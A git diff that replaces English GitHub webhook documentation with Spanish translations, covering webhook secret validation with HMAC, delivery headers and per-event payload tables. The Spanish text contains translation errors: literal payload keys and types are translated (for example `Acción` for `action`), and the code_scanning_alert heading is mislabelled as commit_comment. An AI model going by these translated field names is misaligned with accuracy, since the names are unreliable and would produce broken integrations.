-1. Navigate to the repository where you're setting up your webhook.
-2. Fill out the Secret textbox. Use a random string with high entropy (e.g., by taking the output of `ruby -rsecurerandom -e 'puts SecureRandom.hex(20)'` at the terminal).
-![Webhook secret token field](/assets/images/webhook_secret_token.png)
-3. Click **Update Webhook**.
+1. Navega al repositorio en donde configuraste tu webhook.
+2. Llena la caja de texto del secreto. Utiliza una secuencia aleatoria con entropía alta (por ejemplo, tomando la salida de `ruby -rsecurerandom -e 'puts SecureRandom.hex(20)'` en la terminal). ![Campo de webhook y de token secreto](/assets/images/webhook_secret_token.png)
+3. Da clic en **Actualizar Webhook**.
 
-Next, set up an environment variable on your server that stores this token. Typically, this is as simple as running:
+Después, configura una variable de ambiente en tu servidor, la cual almacene este token. Por lo general, esto es tan simple como el ejecutar:
 
 ```shell
 $ export SECRET_TOKEN=<em>your_token</em>
 ```
 
-**Never** hardcode the token into your app!
+¡**Jamás** preprogrames el token en tu app!
 
-## Validating payloads from GitHub
+## Validar cargas útiles de GitHub
 
-When your secret token is set, {% data variables.product.product_name %} uses it to create a hash signature with each payload. This hash signature is included with the headers of each request as `X-Hub-Signature-256`.
+Cuando se configura tu token secreto, {% data variables.product.product_name %} lo utiliza para crear una firma de hash con cada carga útil. Esta firma de hash se incluye con los encabezados de cada solicitud como `X-Hub-Signature-256`.
 
 {% ifversion fpt or ghes or ghec %}
 {% note %}
 
-**Note:** For backward-compatibility, we also include the `X-Hub-Signature` header that is generated using the SHA-1 hash function. If possible, we recommend that you use the `X-Hub-Signature-256` header for improved security. The example below demonstrates using the `X-Hub-Signature-256` header.
+**Nota:** Para tener compatibilidad en versiones anteriores, también incluimos el encabezado `X-Hub-Signature` que se genera utilizando la función de hash SHA-1. De ser posible, te recomendamos que utilices el encabezado de `X-Hub-Signature-256` para mejorar la seguridad. El ejemplo siguiente demuestra cómo utilizar el encabezado `X-Hub-Signature-256`.
 
 {% endnote %}
 {% endif %}
 
-For example, if you have a basic server that listens for webhooks, it might be configured similar to this:
+Por ejemplo, si tienes un servidor básico que escucha a los webhooks, puede configurarse de forma similar a esto:
 
 ``` ruby
 require 'sinatra'
@@ -60,7 +60,7 @@ post '/payload' do
 end
 ```
 
-The intention is to calculate a hash using your `SECRET_TOKEN`, and ensure that the result matches the hash from {% data variables.product.product_name %}. {% data variables.product.product_name %} uses an HMAC hex digest to compute the hash, so you could reconfigure your server to look a little like this:
+La intención es calcular un hash utilizando tu `SECRET_TOKEN`, y asegurarse de que el resultado empate con el hash de {% data variables.product.product_name %}. {% data variables.product.product_name %} utiliza un resumen hexadecimal de HMAC para calcular el hash, así que podrías reconfigurar tu servidor para que se viera así:
 
 ``` ruby
 post '/payload' do
@@ -79,14 +79,14 @@ end
 
 {% note %}
 
-**Note:** Webhook payloads can contain unicode characters. If your language and server implementation specifies a character encoding, ensure that you handle the payload as UTF-8.
+**Nota:** Las cargas útiles de los webhooks pueden contener caracteres en unicode. Si tu implementación de idioma y servidor especifican un cifrado de caracteres, asegúrate de que estés manejando la carga útil como UTF-8.
 
 {% endnote %}
 
-Your language and server implementations may differ from this example code. However, there are a number of very important things to point out:
+Tus implementaciones de lenguaje y de servidor pueden diferir de esta muestra de código. Sin embargo, hay varias cosas muy importantes que destacar:
 
-* No matter which implementation you use, the hash signature starts with `sha256=`, using the key of your secret token and your payload body.
+* Sin importar qué implementación utilices, la firma de hash comenzará con `sha256=`, utilizando la llave de tu token secreto y el cuerpo de tu carga útil.
 
-* Using a plain `==` operator is **not advised**. A method like [`secure_compare`][secure_compare] performs a "constant time" string comparison, which helps mitigate certain timing attacks against regular equality operators.
+* **No se recomienda** utilizar un simple operador de `==`. Un método como el de [`secure_compare`][secure_compare] lleva a cabo una secuencia de comparación de "tiempo constante" que ayuda a mitigar algunos ataques de temporalidad en contra de las operaciones de igualdad habituales.
 
 [secure_compare]: https://rubydoc.info/github/rack/rack/master/Rack/Utils:secure_compare
diff --git a/translations/es-ES/content/developers/webhooks-and-events/webhooks/webhook-events-and-payloads.md b/translations/es-ES/content/developers/webhooks-and-events/webhooks/webhook-events-and-payloads.md
index d02f24f4a3..9d7e2b9b0d 100644
--- a/translations/es-ES/content/developers/webhooks-and-events/webhooks/webhook-events-and-payloads.md
+++ b/translations/es-ES/content/developers/webhooks-and-events/webhooks/webhook-events-and-payloads.md
@@ -1,10 +1,10 @@
 ---
-title: Webhook events and payloads
-intro: 'For each webhook event, you can review when the event occurs, an example payload, and descriptions about the payload object parameters.'
+title: Eventos y cargas útiles de un Webhook
+intro: 'Para cada evento de webhook, puedes revisar cuándo ocurre el evento, una carga útil de ejemplo, y las descripciones de los parámetros del objeto de dicha carga útil.'
 product: '{% data reusables.gated-features.enterprise_account_webhooks %}'
 redirect_from:
-  - /early-access/integrations/webhooks/
-  - /v3/activity/events/types/
+  - /early-access/integrations/webhooks
+  - /v3/activity/events/types
   - /webhooks/event-payloads
   - /developers/webhooks-and-events/webhook-events-and-payloads
 versions:
@@ -14,52 +14,53 @@ versions:
   ghec: '*'
 topics:
   - Webhooks
-shortTitle: Webhook events & payloads
+shortTitle: Eventos de webhook & cargas útiles
 ---
+
 {% ifversion fpt or ghec %}
 
 {% endif %}
 
 {% data reusables.webhooks.webhooks_intro %}
 
-You can create webhooks that subscribe to the events listed on this page. Each webhook event includes a description of the webhook properties and an example payload. For more information, see "[Creating webhooks](/webhooks/creating/)."
+Puedes crear webhooks que se suscriban a los eventos listados en esta página. Cada evento de webhook incluye una descripción de las propiedades de dicho webhook y un ejemplo de carga útil. Para obtener más información, consulta "[Crear webhooks](/webhooks/creating/)".
 
-## Webhook payload object common properties
+## Propuiedades comunes del objeto de la carga útil del webhook
 
-Each webhook event payload also contains properties unique to the event. You can find the unique properties in the individual event type sections.
+Cada carga útil del evento del webhook contiene propiedades únicas de dicho evento. Puedes encontrar estas propiedades únicas en las secciones individuales de tipo de evento.
 
-Key | Type | Description
-----|------|-------------
-`action` | `string` | Most webhook payloads contain an `action` property that contains the specific activity that triggered the event.
-{% data reusables.webhooks.sender_desc %} This property is included in every webhook payload.
-{% data reusables.webhooks.repo_desc %} Webhook payloads contain the `repository` property when the event occurs from activity in a repository.
+| Clave    | Tipo        | Descripción                                                                                                                                |
+| -------- | ----------- | ------------------------------------------------------------------------------------------------------------------------------------------ |
+| `Acción` | `secuencia` | La mayoría de las cargas útiles de webhooks contienen una propiedad de `action` que contiene la actividad específica que activa el evento. |
+{% data reusables.webhooks.sender_desc %} Esta propiedad se incluye en cada carga útil del webhook.
+{% data reusables.webhooks.repo_desc %} Las cargas útiles del webhook contienen la propiedad `repository` cuando el evento ocurre desde una actividad en un repositorio.
 {% data reusables.webhooks.org_desc %}
-{% data reusables.webhooks.app_desc %} For more information, see "[Building {% data variables.product.prodname_github_app %}](/apps/building-github-apps/)."
+{% data reusables.webhooks.app_desc %} Para obtener más información, consulta la sección "[Crear una {% data variables.product.prodname_github_app %}](/apps/building-github-apps/)".
 
-The unique properties for a webhook event are the same properties you'll find in the `payload` property when using the [Events API](/rest/reference/activity#events). One exception is the [`push` event](#push). The unique properties of the `push` event webhook payload and the `payload` property in the Events API differ. The webhook payload contains more detailed information.
+Las propiedades únicas de un evento de webhook son las mismas que encontrarás en la propiedad `payload` cuando utilices la [API de eventos](/rest/reference/activity#events). Una excepción es el [evento `push`](#push). Las propiedades únicas de la carga útil del evento `push` del webhook y la propiedad `payload` en la API de Eventos difieren entre ellos. La carga útil del webhook contiene información más detallada.
 
 {% tip %}
 
-**Note:** Payloads are capped at 25 MB. If your event generates a larger payload, a webhook will not be fired. This may happen, for example, on a `create` event if many branches or tags are pushed at once. We suggest monitoring your payload size to ensure delivery.
+**Nota:** Las cargas útiles se limitan a los 25 MB. Si tu evento genera una carga útil mayor, el webhook no se lanzará. Esto puede pasar, por ejemplo, en un evento de `create` si muchas ramas o etiquetas se cargan al mismo tiempo. Te sugerimos monitorear el tamaño de tu carga útil para garantizar la entrega.
 
 {% endtip %}
 
-### Delivery headers
+### Encabezados de entrega
 
-HTTP POST payloads that are delivered to your webhook's configured URL endpoint will contain several special headers:
+Las cargas útiles de HTTP POST que se entregan a la terminal URL configurada para tu webhook contendrán varios encabezados especiales:
 
-Header | Description
--------|-------------|
-`X-GitHub-Event`| Name of the event that triggered the delivery.
-`X-GitHub-Delivery`| A [GUID](http://en.wikipedia.org/wiki/Globally_unique_identifier) to identify the delivery.{% ifversion ghes or ghae %}
-`X-GitHub-Enterprise-Version` | The version of the {% data variables.product.prodname_ghe_server %} instance that sent the HTTP POST payload.
-`X-GitHub-Enterprise-Host` | The hostname of the {% data variables.product.prodname_ghe_server %} instance that sent the HTTP POST payload.{% endif %}{% ifversion not ghae %}
-`X-Hub-Signature`| This header is sent if the webhook is configured with a [`secret`](/rest/reference/repos#create-hook-config-params). This is the HMAC hex digest of the request body, and is generated using the SHA-1 hash function and the `secret` as the HMAC `key`.{% ifversion fpt or ghes or ghec %} `X-Hub-Signature` is provided for compatibility with existing integrations, and we recommend that you use the more secure `X-Hub-Signature-256` instead.{% endif %}{% endif %}
-`X-Hub-Signature-256`| This header is sent if the webhook is configured with a [`secret`](/rest/reference/repos#create-hook-config-params). This is the HMAC hex digest of the request body, and is generated using the SHA-256 hash function and the `secret` as the HMAC `key`.
+| Encabezado                    | Descripción                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          |
+| ----------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `X-GitHub-Event`              | Nombre del evento que desencadenó la entrega.                                                                                                                                                                                                                                                                                                                                                                                                                                                                        |
+| `X-GitHub-Delivery`           | Un [GUID](http://en.wikipedia.org/wiki/Globally_unique_identifier) para identificar la entrega.{% ifversion ghes or ghae %}
+| `X-GitHub-Enterprise-Version` | La versión de la instancia de {% data variables.product.prodname_ghe_server %} que envía la carga útil del HTTP POST.                                                                                                                                                                                                                                                                                                                                                                                              |
+| `X-GitHub-Enterprise-Host`    | El nombre de host de la instancia de {% data variables.product.prodname_ghe_server %} que envió la carga útil de HTTP POST.{% endif %}{% ifversion not ghae %}
+| `X-Hub-Signature`             | Este encabezado se envía si el webhook se configura con un [`secret`](/rest/reference/repos#create-hook-config-params). Este es el resumen hexadecimal de HMAC del cuerpo de la solicitud y se genera utilizando una función de hash SHA-1 y el `secret` como la `key` de HMAC.{% ifversion fpt or ghes or ghec %} El `X-Hub-Signature` se proporciona para compatibilidad con las integraciones existentes y recomendamos que mejor utilices el `X-Hub-Signature-256`, el cual es más seguro.{% endif %}{% endif %}
+| `X-Hub-Signature-256`         | Este encabezado se envía si el webhook se configura con un [`secret`](/rest/reference/repos#create-hook-config-params). Este es el resumen hexadecimal de HMAC para el cuerpo de la solicitud y se genera utilizando la función de hash SHA-256 y el `secret` como la `key` HMAC.                                                                                                                                                                                                                                    |
 
-Also, the `User-Agent` for the requests will have the prefix `GitHub-Hookshot/`.
+También, el `User-Agent` para las solicitudes tendrá el prefijo `GitHub-Hookshot/`.
 
-### Example delivery
+### Ejemplo de entrega
 
 ```shell
 > POST /payload HTTP/2
@@ -103,26 +104,26 @@ Also, the `User-Agent` for the requests will have the prefix `GitHub-Hookshot/`.
 {% ifversion fpt or ghes > 3.2 or ghae or ghec %}
 ## branch_protection_rule
 
-Activity related to a branch protection rule. For more information, see "[About branch protection rules](/github/administering-a-repository/defining-the-mergeability-of-pull-requests/about-protected-branches#about-branch-protection-rules)."
+Actividad relacionada con una regla de protección de rama. Para obtener más información, consulta la sección "[Acerca de las reglas de protección de rama](/github/administering-a-repository/defining-the-mergeability-of-pull-requests/about-protected-branches#about-branch-protection-rules)".
 
-### Availability
+### Disponibilidad
 
-- Repository webhooks
-- Organization webhooks
-- {% data variables.product.prodname_github_apps %} with at least `read-only` access on repositories administration
+- Webhooks de repositorio
+- Webhooks de organización
+- {% data variables.product.prodname_github_apps %} que tengan un acceso mínimo de `read-only` en la administración de repositorios
 
-### Webhook payload object
+### Objeto de carga útil del webhook
 
-Key | Type | Description
-----|------|-------------
-`action` |`string` | The action performed. Can be `created`, `edited`, or `deleted`.
-`rule` | `object` | The branch protection rule. Includes a `name` and all the [branch protection settings](/github/administering-a-repository/defining-the-mergeability-of-pull-requests/about-protected-branches#about-branch-protection-settings) applied to branches that match the name. Binary settings are boolean. Multi-level configurations are one of `off`, `non_admins`, or `everyone`. Actor and build lists are arrays of strings.
-`changes` | `object` | If the action was `edited`, the changes to the rule.
+| Clave     | Tipo        | Descripción                                                                                                                                                                                                                                                                                                                                                                                                                                                                                |
+| --------- | ----------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
+| `Acción`  | `secuencia` | La acción realizada. Puede ser `created`, `edited`, o `deleted`.                                                                                                                                                                                                                                                                                                                                                                                                                           |
+| `rule`    | `objeto`    | La regla de protección de rama. Incluye un `name` y todos los [ajustes de protección de rama](/github/administering-a-repository/defining-the-mergeability-of-pull-requests/about-protected-branches#about-branch-protection-settings) que se aplicaron a las ramas que empatan con el nombre. Los ajustes binarios son booleanos. Las configuraciones de nivel múltiple son una de entre `off`, `non_admins`, o `everyone`. Las listas de actor y compilación son arreglos de secuencias. |
+| `changes` | `objeto`    | Si la acción fue `edited`, los cambios a la regla.                                                                                                                                                                                                                                                                                                                                                                                                                                         |
 {% data reusables.webhooks.repo_desc %}
 {% data reusables.webhooks.org_desc %}
 {% data reusables.webhooks.sender_desc %}
 
-### Webhook payload example
+### Ejemplo de carga útil del webhook
 
 {{ webhookPayloadsForCurrentVersion.branch_protection_rule.edited }}
 {% endif %}
@@ -132,13 +133,13 @@ Key | Type | Description
 
 {% data reusables.apps.undetected-pushes-to-a-forked-repository-for-check-suites %}
 
-### Availability
+### Disponibilidad
 
-- Repository webhooks only receive payloads for the `created` and `completed` event types in a repository
-- Organization webhooks only receive payloads for the `created` and `completed` event types in repositories
-- {% data variables.product.prodname_github_apps %} with the `checks:read` permission receive payloads for the `created` and `completed` events that occur in the repository where the app is installed. The app must have the `checks:write` permission to receive the `rerequested` and `requested_action` event types. The `rerequested` and `requested_action` event type payloads are only sent to the {% data variables.product.prodname_github_app %} being requested. {% data variables.product.prodname_github_apps %} with the `checks:write` are automatically subscribed to this webhook event.
+- Los webhooks de repositorio solo reciben cargas útiles para los tipos de evento `created` y `completed` en un repositorio
+- Los webhooks de organización solo reciben cargas útiles para los tipos de evento `created` y `completed` en los repositorios
+- Las {% data variables.product.prodname_github_apps %} con el permiso `checks:read` reciben cargas útiles para los eventos `created` y `completed` que ocurren en un repositorio en donde se haya instalado la app. La app debe tener el permiso `checks:write` para recibir los tipos de evento `rerequested` y `requested_action`. Las cargas útiles para los tipos de evento `rerequested` y `requested_action` solo se enviarán a la {% data variables.product.prodname_github_app %} que se esté solicitando. Las {% data variables.product.prodname_github_apps %} con el `checks:write` se suscriben automáticamente a este evento de webhook.
 
-### Webhook payload object
+### Objeto de carga útil del webhook
 
 {% data reusables.webhooks.check_run_properties %}
 {% data reusables.webhooks.repo_desc %}
@@ -146,7 +147,7 @@ Key | Type | Description
 {% data reusables.webhooks.app_desc %}
 {% data reusables.webhooks.sender_desc %}
 
-### Webhook payload example
+### Ejemplo de carga útil del webhook
 
 {{ webhookPayloadsForCurrentVersion.check_run.created }}
 
@@ -156,13 +157,13 @@ Key | Type | Description
 
 {% data reusables.apps.undetected-pushes-to-a-forked-repository-for-check-suites %}
 
-### Availability
+### Disponibilidad
 
-- Repository webhooks only receive payloads for the `completed` event types in a repository
-- Organization webhooks only receive payloads for the `completed` event types in repositories
-- {% data variables.product.prodname_github_apps %} with the `checks:read` permission receive payloads for the `created` and `completed` events that occur in the repository where the app is installed. The app must have the `checks:write` permission to receive the `requested` and `rerequested` event types. The `requested` and `rerequested` event type payloads are only sent to the {% data variables.product.prodname_github_app %} being requested. {% data variables.product.prodname_github_apps %} with the `checks:write` are automatically subscribed to this webhook event.
+- Los webhooks de los repositorios únicamente recibirán cargas útiles para los tipos de evento `completed` en un repositorio
+- Los webhooks de organización recibirán únicamente cargas útiles para los tipos de evento `completed` en los repositorios
+- Las {% data variables.product.prodname_github_apps %} con el permiso `checks:read` reciben cargas útiles para los eventos `created` y `completed` que ocurren en un repositorio en donde se haya instalado la app. La app debe tener el permiso `checks:write` para recibir los tipos de evento `requested` y `rerequested`. Las cargas útiles para los tipos de evento `requested` y `rerequested` se envían únicamente a la {% data variables.product.prodname_github_app %} que se está solicitando. Las {% data variables.product.prodname_github_apps %} con el `checks:write` se suscriben automáticamente a este evento de webhook.
 
-### Webhook payload object
+### Objeto de carga útil del webhook
 
 {% data reusables.webhooks.check_suite_properties %}
 {% data reusables.webhooks.repo_desc %}
@@ -170,43 +171,43 @@ Key | Type | Description
 {% data reusables.webhooks.app_desc %}
 {% data reusables.webhooks.sender_desc %}
 
-### Webhook payload example
+### Ejemplo de carga útil del webhook
 
 {{ webhookPayloadsForCurrentVersion.check_suite.completed }}
 
-## code_scanning_alert
+## comentario_confirmación de cambios
 
 {% data reusables.webhooks.code_scanning_alert_event_short_desc %}
 
-### Availability
+### Disponibilidad
 
-- Repository webhooks
-- Organization webhooks
-- {% data variables.product.prodname_github_apps %} with the `security_events :read` permission
+- Webhooks de repositorio
+- Webhooks de organización
+- {% data variables.product.prodname_github_apps %} con el permiso `security_events :read`
 
-### Webhook payload object
+### Objeto de carga útil del webhook
 
 {% data reusables.webhooks.code_scanning_alert_event_properties %}
 {% data reusables.webhooks.repo_desc %}
 {% data reusables.webhooks.org_desc %}
 {% data reusables.webhooks.app_desc %}
-`sender` | `object` | If the `action` is `reopened_by_user` or `closed_by_user`, the `sender` object will be the user that triggered the event. The `sender` object is {% ifversion fpt or ghec %}`github`{% elsif ghes > 3.0 or ghae %}`github-enterprise`{% else %}empty{% endif %} for all other actions.
+`sender` | `object` | Si la `action` está como `reopened_by_user` o `closed_by_user`, el objeto que sea el `sender` será el usuario que activó el evento. El objeto `sender` está {% ifversion fpt or ghec %}`github` {% elsif ghes > 3.0 or ghae %}`github-enterprise` {% else %}vacío{% endif %} para el resto de las acciones.
 
-### Webhook payload example
+### Ejemplo de carga útil del webhook
 
 {{ webhookPayloadsForCurrentVersion.code_scanning_alert.reopened }}
 
-## commit_comment
+## comentario_confirmación de cambios
 
 {% data reusables.webhooks.commit_comment_short_desc %}
 
-### Availability
+### Disponibilidad
 
-- Repository webhooks
-- Organization webhooks
-- {% data variables.product.prodname_github_apps %} with the `contents` permission
+- Webhooks de repositorio
+- Webhooks de organización
+- {% data variables.product.prodname_github_apps %} con el permiso `contents`
 
-### Webhook payload object
+### Objeto de carga útil del webhook
 
 {% data reusables.webhooks.commit_comment_properties %}
 {% data reusables.webhooks.repo_desc %}
@@ -214,7 +215,7 @@ Key | Type | Description
 {% data reusables.webhooks.app_desc %}
 {% data reusables.webhooks.sender_desc %}
 
-### Webhook payload example
+### Ejemplo de carga útil del webhook
 
 {{ webhookPayloadsForCurrentVersion.commit_comment.created }}
 
@@ -223,34 +224,34 @@ Key | Type | Description
 
 {% data reusables.webhooks.content_reference_short_desc %}
 
-Webhook events are triggered based on the specificity of the domain you register. For example, if you register a subdomain (`https://subdomain.example.com`) then only URLs for the subdomain trigger this event. If you register a domain (`https://example.com`) then URLs for domain and all subdomains trigger this event. See "[Create a content attachment](/rest/reference/apps#create-a-content-attachment)" to create a new content attachment.
+Los eventos de webhook se desencadenan basándose en la especificidad del dominio que registres. Por ejemplo, si registras un subdominio (`https://subdomain.example.com`), entonces la única URL para el subdominio activarán este evento. Si registras un dominio (`https://example.com`) entonces las URL para el dominio y todos sus subdominios activarán este evento. Consulta la sección "[Crear un adjunto de contenido](/rest/reference/apps#create-a-content-attachment)" para crear un nuevo adjunto de contenido.
 
-### Availability
+### Disponibilidad
 
-- {% data variables.product.prodname_github_apps %} with the `content_references:write` permission
+- {% data variables.product.prodname_github_apps %} con el permiso `content_references:write`
 
-### Webhook payload example
+### Ejemplo de carga útil del webhook
 
 {{ webhookPayloadsForCurrentVersion.content_reference.created }}
 
 {% endif %}
-## create
+## create (crear)
 
 {% data reusables.webhooks.create_short_desc %}
 
 {% note %}
 
-**Note:** You will not receive a webhook for this event when you push more than three tags at once.
+**Nota:** No recibirás un webhook para este evento cuando cargues más de tres etiquetas al mismo tiempo.
 
 {% endnote %}
 
-### Availability
+### Disponibilidad
 
-- Repository webhooks
-- Organization webhooks
-- {% data variables.product.prodname_github_apps %} with the `contents` permission
+- Webhooks de repositorio
+- Webhooks de organización
+- {% data variables.product.prodname_github_apps %} con el permiso `contents`
 
-### Webhook payload object
+### Objeto de carga útil del webhook
 
 {% data reusables.webhooks.create_properties %}
 {% data reusables.webhooks.pusher_type_desc %}
@@ -259,7 +260,7 @@ Webhook events are triggered based on the specificity of the domain you register
 {% data reusables.webhooks.app_desc %}
 {% data reusables.webhooks.sender_desc %}
 
-### Webhook payload example
+### Ejemplo de carga útil del webhook
 
 {{ webhookPayloadsForCurrentVersion.create }}
 
@@ -269,17 +270,17 @@ Webhook events are triggered based on the specificity of the domain you register
 
 {% note %}
 
-**Note:** You will not receive a webhook for this event when you delete more than three tags at once.
+**Nota:** No recibirás un webhook para este evento cuando borres más de tres etiquetas al mismo tiempo.
 
 {% endnote %}
 
-### Availability
+### Disponibilidad
 
-- Repository webhooks
-- Organization webhooks
-- {% data variables.product.prodname_github_apps %} with the `contents` permission
+- Webhooks de repositorio
+- Webhooks de organización
+- {% data variables.product.prodname_github_apps %} con el permiso `contents`
 
-### Webhook payload object
+### Objeto de carga útil del webhook
 
 {% data reusables.webhooks.delete_properties %}
 {% data reusables.webhooks.pusher_type_desc %}
@@ -288,7 +289,7 @@ Webhook events are triggered based on the specificity of the domain you register
 {% data reusables.webhooks.app_desc %}
 {% data reusables.webhooks.sender_desc %}
 
-### Webhook payload example
+### Ejemplo de carga útil del webhook
 
 {{ webhookPayloadsForCurrentVersion.delete }}
 
@@ -296,19 +297,19 @@ Webhook events are triggered based on the specificity of the domain you register
 
 {% data reusables.webhooks.deploy_key_short_desc %}
 
-### Availability
+### Disponibilidad
 
-- Repository webhooks
-- Organization webhooks
+- Webhooks de repositorio
+- Webhooks de organización
 
-### Webhook payload object
+### Objeto de carga útil del webhook
 
 {% data reusables.webhooks.deploy_key_properties %}
 {% data reusables.webhooks.repo_desc %}
 {% data reusables.webhooks.org_desc %}
 {% data reusables.webhooks.sender_desc %}
 
-### Webhook payload example
+### Ejemplo de carga útil del webhook
 
 {{ webhookPayloadsForCurrentVersion.deploy_key.created }}
 
@@ -316,24 +317,24 @@ Webhook events are triggered based on the specificity of the domain you register
 
 {% data reusables.webhooks.deployment_short_desc %}
 
-### Availability
+### Disponibilidad
 
-- Repository webhooks
-- Organization webhooks
-- {% data variables.product.prodname_github_apps %} with the `deployments` permission
+- Webhooks de repositorio
+- Webhooks de organización
+- {% data variables.product.prodname_github_apps %} con el permiso `deployments`
 
-### Webhook payload object
+### Objeto de carga útil del webhook
 
-Key | Type | Description
-----|------|-------------{% ifversion fpt or ghes or ghae or ghec %}
-`action` |`string` | The action performed. Can be `created`.{% endif %}
-`deployment` |`object` | The [deployment](/rest/reference/repos#list-deployments).
+| Clave        | Tipo                                        | Descripción                                                    |
+| ------------ | ------------------------------------------- | -------------------------------------------------------------- |{% ifversion fpt or ghes or ghae or ghec %}
+| `Acción`     | `secuencia`                                 | La acción realizada. Puede ser `created`.{% endif %}
+| `deployment` | `objeto`                                    | El [despliegue](/rest/reference/deployments#list-deployments). |
 {% data reusables.webhooks.repo_desc %}
 {% data reusables.webhooks.org_desc %}
 {% data reusables.webhooks.app_desc %}
 {% data reusables.webhooks.sender_desc %}
 
-### Webhook payload example
+### Ejemplo de carga útil del webhook
 
 {{ webhookPayloadsForCurrentVersion.deployment }}
 
@@ -341,54 +342,54 @@ Key | Type | Description
 
 {% data reusables.webhooks.deployment_status_short_desc %}
 
-### Availability
+### Disponibilidad
 
-- Repository webhooks
-- Organization webhooks
-- {% data variables.product.prodname_github_apps %} with the `deployments` permission
+- Webhooks de repositorio
+- Webhooks de organización
+- {% data variables.product.prodname_github_apps %} con el permiso `deployments`
 
-### Webhook payload object
+### Objeto de carga útil del webhook
 
-Key | Type | Description
-----|------|-------------{% ifversion fpt or ghes or ghae or ghec %}
-`action` |`string` | The action performed. Can be `created`.{% endif %}
-`deployment_status` |`object` | The [deployment status](/rest/reference/repos#list-deployment-statuses).
-`deployment_status["state"]` |`string` | The new state. Can be `pending`, `success`, `failure`, or `error`.
-`deployment_status["target_url"]` |`string` | The optional link added to the status.
-`deployment_status["description"]`|`string` | The optional human-readable description added to the status.
-`deployment` |`object` | The [deployment](/rest/reference/repos#list-deployments) that this status is associated with.
+| Clave                              | Tipo                                        | Descripción                                                                                     |
+| ---------------------------------- | ------------------------------------------- | ----------------------------------------------------------------------------------------------- |{% ifversion fpt or ghes or ghae or ghec %}
+| `Acción`                           | `secuencia`                                 | La acción realizada. Puede ser `created`.{% endif %}
+| `deployment_status`                | `objeto`                                    | El [Estado del despliegue](/rest/reference/deployments#list-deployment-statuses).               |
+| `deployment_status["state"]`       | `secuencia`                                 | El estado nuevo. Puede ser `pending`, `success`, `failure`, o `error`.                          |
+| `deployment_status["target_url"]`  | `secuencia`                                 | El enlace opcional agregado al estado.                                                          |
+| `deployment_status["description"]` | `secuencia`                                 | La descripción opcional legible para las personas que se agrega al estado.                      |
+| `deployment`                       | `objeto`                                    | El [despliegue](/rest/reference/deployments#list-deployments) con el que se asocia este estado. |
 {% data reusables.webhooks.repo_desc %}
 {% data reusables.webhooks.org_desc %}
 {% data reusables.webhooks.app_desc %}
 {% data reusables.webhooks.sender_desc %}
 
-### Webhook payload example
+### Ejemplo de carga útil del webhook
 
 {{ webhookPayloadsForCurrentVersion.deployment_status }}
 
 {% ifversion fpt or ghec %}
-## discussion
+## debate
 
 {% data reusables.webhooks.discussions-webhooks-beta %}
 
-Activity related to a discussion. For more information, see the "[Using the GraphQL API for discussions]({% ifversion ghec %}/free-pro-team@latest{% endif %}/graphql/guides/using-the-graphql-api-for-discussions)."
-### Availability
+Actividad relacionada con un debate. Para obtener más información, consulta la sección "[Utilizar la API de GraphQL para los debates]({% ifversion ghec %}/free-pro-team@latest{% endif %}/graphql/guides/using-the-graphql-api-for-discussions)".
+### Disponibilidad
 
-- Repository webhooks
-- Organization webhooks
-- {% data variables.product.prodname_github_apps %} with the `discussions` permission
+- Webhooks de repositorio
+- Webhooks de organización
+- Las {% data variables.product.prodname_github_apps %} con el permiso de `discussions`
 
-### Webhook payload object
+### Objeto de carga útil del webhook
 
-Key | Type | Description
-----|------|-------------
-`action` |`string` | The action performed. Can be `created`, `edited`, `deleted`, `pinned`, `unpinned`, `locked`, `unlocked`, `transferred`, `category_changed`, `answered`, or `unanswered`.
+| Clave    | Tipo        | Descripción                                                                                                                                                               |
+| -------- | ----------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `Acción` | `secuencia` | La acción realizada. Puede ser `created`, `edited`, `deleted`, `pinned`, `unpinned`, `locked`, `unlocked`, `transferred`, `category_changed`, `answered`, o `unanswered`. |
 {% data reusables.webhooks.discussion_desc %}
 {% data reusables.webhooks.repo_desc_graphql %}
 {% data reusables.webhooks.org_desc_graphql %}
 {% data reusables.webhooks.sender_desc %}
 
-### Webhook payload example
+### Ejemplo de carga útil del webhook
 
 {{ webhookPayloadsForCurrentVersion.discussion.created }}
 
@@ -396,63 +397,63 @@ Key | Type | Description
 
 {% data reusables.webhooks.discussions-webhooks-beta %}
 
-Activity related to a comment in a discussion. For more information, see "[Using the GraphQL API for discussions]({% ifversion ghec %}/free-pro-team@latest{% endif %}/graphql/guides/using-the-graphql-api-for-discussions)."
+La actividad relacionada con un comentario en un debate. Para obtener más información, consulta la sección "[Utilizar la API de GraphQL para los debates]({% ifversion ghec %}/free-pro-team@latest{% endif %}/graphql/guides/using-the-graphql-api-for-discussions)".
 
-### Availability
+### Disponibilidad
 
-- Repository webhooks
-- Organization webhooks
-- {% data variables.product.prodname_github_apps %} with the `discussions` permission
+- Webhooks de repositorio
+- Webhooks de organización
+- Las {% data variables.product.prodname_github_apps %} con el permiso de `discussions`
 
-### Webhook payload object
+### Objeto de carga útil del webhook
 
-Key | Type | Description
-----|------|-------------
-`action` |`string` | The action performed. Can be `created`, `edited`, or `deleted`.
-`comment` | `object` | The [`discussion comment`]({% ifversion ghec %}/free-pro-team@latest{% endif %}/graphql/guides/using-the-graphql-api-for-discussions#discussioncomment) resource.
+| Clave        | Tipo        | Descripción                                                                                                                                                        |
+| ------------ | ----------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
+| `Acción`     | `secuencia` | La acción realizada. Puede ser `created`, `edited`, o `deleted`.                                                                                                   |
+| `comentario` | `objeto`    | El recurso de [`discussion comment`]({% ifversion ghec %}/free-pro-team@latest{% endif %}/graphql/guides/using-the-graphql-api-for-discussions#discussioncomment). |
 {% data reusables.webhooks.discussion_desc %}
 {% data reusables.webhooks.repo_desc_graphql %}
 {% data reusables.webhooks.org_desc_graphql %}
 {% data reusables.webhooks.sender_desc %}
 
-### Webhook payload example
+### Ejemplo de carga útil del webhook
 
 {{ webhookPayloadsForCurrentVersion.discussion_comment.created }}
 {% endif %}
 
 {% ifversion ghes or ghae %}
 
-## enterprise
+## empresa
 
 {% data reusables.webhooks.enterprise_short_desc %}
 
-### Availability
+### Disponibilidad
 
-- GitHub Enterprise webhooks. For more information, "[Global webhooks](/rest/reference/enterprise-admin#global-webhooks/)."
